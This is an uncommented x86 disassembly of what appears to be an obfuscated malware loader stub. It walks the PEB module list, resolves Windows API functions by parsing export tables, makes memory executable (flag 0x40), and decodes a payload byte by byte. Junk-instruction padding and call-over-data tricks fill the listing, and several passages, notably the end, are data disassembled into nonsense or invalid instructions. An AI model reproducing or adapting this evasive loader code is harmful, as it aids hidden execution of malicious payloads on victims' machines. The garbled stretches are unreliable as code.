mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edi
or edi, 0xa922
sub edi, 0x1760
xor edi, 0xb1be
pop edi
push edi
push eax
add esp, 4
add edi, 0xfd79
add edi, 0x14f3d
add edi, 0x26d2
sub edi, 0x8987
pop edi
cmp dword [ebp - 0x1518], 0
jne 0x44bf8f
mov dword [ebp - 0x710], 0
jmp 0x44c236
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edi
and edi, 0xd4a1
add edi, 0x1739d
pop edi
push eax
push esi
add esp, 4
jmp 0x44bfba
pop eax
push esi
push ecx
add esp, 4
add esi, 0xeeb6
sub esi, 0x1411e
and esi, 0x17094
pop esi
cmp dword [ebp - 0xc58], 0
jne 0x44bfeb
mov dword [ebp - 0x710], 0
jmp 0x44c236
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push ecx
push esi
add esp, 4
or ecx, 0xebf0
or ecx, 0x2f0d
pop ecx
push edx
push edx
add esp, 4
or edx, 0x5bf7
add edx, 0xc178
sub edx, 0x9cf4
pop edx
push ebx
sub ebx, 0x2a90
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edi
sub edi, 0x4f5a
call 0x44c06a
add byte [esi + 0x42], cl
dec edx
dec edi
dec edx
push eax
dec eax
cmp al, 0x48
dec ebx
add esp, 4
pop edi
push esi
call 0x44c07b
add byte [ebx], bh
inc eax
dec edi
inc edx
xor al, 0x4f
add esp, 4
xor esi, 0x149c8
pop esi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ebx
xor ebx, 0x9d7a
xor ebx, 0x4f29
add ebx, 0x10786
sub ebx, 0x120b2
pop ebx
push esi
push ebx
add esp, 4
xor esi, 0xd124
add esi, 0x14081
or esi, 0x16f64
pop esi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x44c12b
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x44c185
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x44c053
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x44c053
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x44c16f
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x44c179
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x44c1ce
push edi
push eax
add esp, 4
add edi, 0xfcfa
pop edi
push esi
or esi, 0xe7ab
pop esi
push eax
push edx
add esp, 4
and eax, 0x1536a
or eax, 0x1005
add eax, 0x17071
xor eax, 0x9239
pop eax
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x44c236
push edi
add edi, 0x3e5f
sub edi, 0x9936
pop edi
push ecx
and ecx, 0xac39
call 0x44c1f0
add byte [ecx + 0x44], cl
dec eax
cmp dword [edx + ecx*2], esi
inc edi
add esp, 4
or ecx, 0xdb5e
sub ecx, 0x874b
pop ecx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x44c22c
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x44bff7
mov dword [ebp - 0x710], 0
push esi
and esi, 0x12d2
and esi, 0x994f
jmp 0x44c24b
pop esi
push esi
sub esi, 0x5b87
sub esi, 0xa40c
jmp 0x44c261
xor esi, 0x1795
pop esi
cmp dword [ebp - 0x710], 0
jne 0x44c2b2
push ebx
sub ebx, 0x14180
jmp 0x44c280
add ebx, 0x9fb0
xor ebx, 0xe55b
pop ebx
push eax
push eax
add esp, 4
jmp 0x44c297
sub eax, 0xc81c
jmp 0x44c2a2
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x44cdda
push esi
and esi, 0xc608
pop esi
push edi
push edi
add esp, 4
or edi, 0x8c5d
or edi, 0xbd10
add edi, 0x14723
add edi, 0xd2a4
pop edi
push edx
push ecx
add esp, 4
and edx, 0xc680
pop edx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x44c323
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x44c614
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x44c34b
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x44c614
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
ljmp 0xea90
invalid
inc dword [eax]
jne 0x44c37d
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x44c614
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x44c3a2
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x44c614
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x44c3fc
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x44c608
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x44c46c
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x44c51e
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x44c51e
push edx
push ebx
add esp, 4
add edx, 0x16648
or edx, 0x17ace
or edx, 0x412d
pop edx
push edx
add edx, 0x1547a
and edx, 0x5378
and edx, 0x6403
sub edx, 0xc42b
pop edx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x44c510
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x44c517
jmp 0x44c45d
jmp 0x44c51e
push edx
push esi
add esp, 4
xor edx, 0x5007
or edx, 0x95ba
xor edx, 0xd05d
pop edx
push edi
push edi
add esp, 4
xor edi, 0x16bfd
xor edi, 0x637
pop edi
push esi
xor esi, 0x9f71
pop esi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x44c57d
mov dword [ebp - 0xc5c], 0
jmp 0x44c5ec
push eax
push edx
add esp, 4
and eax, 0x9121
and eax, 0xaa3f
add eax, 0xf258
add eax, 0x6485
pop eax
push edi
and edi, 0x2772
xor edi, 0x8be5
sub edi, 0x11920
pop edi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x44c5e2
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x44c5ec
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x44c603
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x44c614
jmp 0x44c3ed
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x44c6ef
push edi
sub edi, 0xd991
and edi, 0x14459
add edi, 0x16628
pop edi
push eax
push ecx
add esp, 4
call 0x44c647
add byte [0x3e46454c], dh
xor eax, 0x4c4834f
pop eax
push esi
or esi, 0x58c5
pop esi
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push ebx
push edi
add esp, 4
sub ebx, 0x6ff2
or ebx, 0x2b9e
pop ebx
push ebx
xor ebx, 0xef74
pop ebx
push edx
push ebx
add esp, 4
or edx, 0x9ee2
pop edx
push esi
push ebx
add esp, 4
sub esi, 0xf1c3
pop esi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x44c6ef
push ecx
push edi
add esp, 4
jmp 0x44c6b8
call 0x44c6c6
add byte [0x394e3638], bh
inc edi
inc eax
inc esp
add esp, 4
jmp 0x44c6ce
call 0x44c6dc
add byte [0x323f4332], bh
xor eax, 0xc4834844
add al, 0x59
mov dword [ebp - 0xa58], 0
jmp 0x44cdda
push eax
push edx
add esp, 4
or eax, 0x124
jmp 0x44c703
pop eax
push edx
push eax
add esp, 4
call 0x44c715
add byte [esi], bh
dec esp
cmp byte [eax + 0x48], al
aas
add esp, 4
pop edx
push ecx
add ecx, 0x46c0
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ebx
push edi
add esp, 4
and ebx, 0xbef7
call 0x44c763
add byte [esi + 0x4f], cl
push eax
inc esp
dec ecx
inc ebp
inc ebx
dec ecx
inc ebp
add esp, 4
or ebx, 0x106a4
pop ebx
push ecx
add ecx, 0x13239
add ecx, 0x6459
pop ecx
cmp dword [ebp - 0x1574], 0
jne 0x44c793
mov dword [ebp - 0x2a8], 0
jmp 0x44ca3a
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edi
sub edi, 0xfc95
or edi, 0x15c56
jmp 0x44c7ba
pop edi
push esi
and esi, 0x7797
xor esi, 0x1364b
jmp 0x44c7d0
add esi, 0x3915
pop esi
cmp dword [ebp - 0xc68], 0
jne 0x44c7ef
mov dword [ebp - 0x2a8], 0
jmp 0x44ca3a
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ecx
push edx
add esp, 4
or ecx, 0x1809b
add ecx, 0xdf83
add ecx, 0x108e1
pop ecx
push ebx
or ebx, 0xb130
and ebx, 0x32a5
or ebx, 0x5b3e
or ebx, 0x826f
pop ebx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push edi
push eax
add esp, 4
xor edi, 0x155d6
xor edi, 0x6387
pop edi
push edi
jmp 0x44c870
add edi, 0x6eb
sub edi, 0x167c2
pop edi
push ecx
push esi
add esp, 4
sub ecx, 0x17eb2
pop ecx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push ecx
push edx
add esp, 4
and ecx, 0xb7b6
pop ecx
push ebx
or ebx, 0x14938
sub ebx, 0x1055b
add ebx, 0x169b1
xor ebx, 0x160cf
pop ebx
push edi
push ebx
add esp, 4
and edi, 0x7ae7
pop edi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x44c92f
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x44c989
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x44c857
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x44c857
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x44c973
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x44c97d
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x44c9d2
push edx
push esi
add esp, 4
add edx, 0x12279
xor edx, 0x17493
pop edx
push esi
push eax
add esp, 4
add esi, 0x14c99
pop esi
push edi
sub edi, 0xff8d
and edi, 0xab2a
sub edi, 0x4009
pop edi
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x44ca3a
push ebx
push ebx
add esp, 4
or ebx, 0x15476
and ebx, 0x3963
pop ebx
push edx
push eax
add esp, 4
jmp 0x44c9f1
and edx, 0x59e5
and edx, 0xe057
or edx, 0x145fc
pop edx
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x44ca30
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x44c7fb
mov dword [ebp - 0x2a8], 0
push esi
or esi, 0x2d10
and esi, 0x139c8
sub esi, 0xe253
pop esi
push edx
push esi
add esp, 4
xor edx, 0x10e38
add edx, 0x82d0
xor edx, 0x2e89
add edx, 0x140ea
pop edx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push edi
push ebx
add esp, 4
or edi, 0x14af4
pop edi
push edi
or edi, 0x15e26
pop edi
push edx
push ecx
add esp, 4
xor edx, 0x14355
jmp 0x44ca9f
jmp 0x44caa4
jmp 0x44caac
pop edx
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x44cadd
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x44cdce
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x44cb05
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x44cdce
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x44cb37
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x44cdce
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x44cb5c
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x44cdce
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x44cbb6
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x44cdc2
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x44cc26
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x44ccd8
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x44ccd8
push edx
push edx
add esp, 4
or edx, 0x6e0f
xor edx, 0x18025
or edx, 0xc4d3
and edx, 0x321d
pop edx
push ebx
xor ebx, 0x83c5
xor ebx, 0xbf81
or ebx, 0x68b8
pop ebx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x44ccca
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x44ccd1
jmp 0x44cc17
jmp 0x44ccd8
push ebx
call 0x44cce9
add byte [edx + eax*2], bh
inc edx
inc ecx
cmp byte [esi + esi + 0x4e], cl
push eax
add esp, 4
xor ebx, 0x6d75
and ebx, 0x1533c
call 0x44cd06
add byte [eax + 0x35], dl
cmp cl, byte [ebx + 0x4b]
dec edx
dec ecx
cmp eax, dword [ebx - 0x74a4fb3c]
test esp, edx
clc
invalid
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push eax
or eax, 0xd51c
call 0x44cdf0
add byte [edx + 0x36], al
xor al, byte [esi + 0x3f]
push eax
cmp byte [esi], dh
dec esi
add esp, 4
pop eax
push edi
push edx
add esp, 4
sub edi, 0x17ef2
xor edi, 0x2a34
sub edi, 0x17b75
pop edi
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x44ce7f
push edi
push ebx
add esp, 4
or edi, 0xdee5
add edi, 0x15764
sub edi, 0x6b26
pop edi
push eax
sub eax, 0xa91c
sub eax, 0x144ba
xor eax, 0xacaf
or eax, 0xeca0
pop eax
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x44ce9c
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x44cef8
push esi
sub esi, 0x111bb
sub esi, 0x18042
sub esi, 0x8c33
pop esi
push esi
push eax
add esp, 4
or esi, 0x7f06
jmp 0x44cecf
or esi, 0xb39a
and esi, 0x1ca6
pop esi
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x44ce8d
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x44cf70
push eax
and eax, 0x15c81
and eax, 0x15f29
add eax, 0xc3a7
add eax, 0x118ca
pop eax
push ecx
push esi
add esp, 4
add ecx, 0xf5a7
or ecx, 0x15f2b
xor ecx, 0x207
pop ecx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push esi
push edx
add esp, 4
and esi, 0x16095
and esi, 0xb271
xor esi, 0x6885
pop esi
push edx
add edx, 0x162c
xor edx, 0x135e9
or edx, 0x8ae3
xor edx, 0x1af8
pop edx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff07ff
pop ecx
pop ebp
pop ecx
mov cl, bl
or ecx, dword [eax + 0x7fd6ecd]
pop es
mov ch, bh
sbb al, 0x46
or byte [edi], al
pop ebp
mov ch, bh
idiv dword [ebx + 7]
pop es
mov ch, dh
xchg edi, esp
pop es
pop es
or edx, dword [esi + 0x52]
inc esp
push edx
pop edx
pop edx
mov cl, bl
or esi, edx
or eax, dword [edx + 0x3e]
dec ebx
inc esi
invalid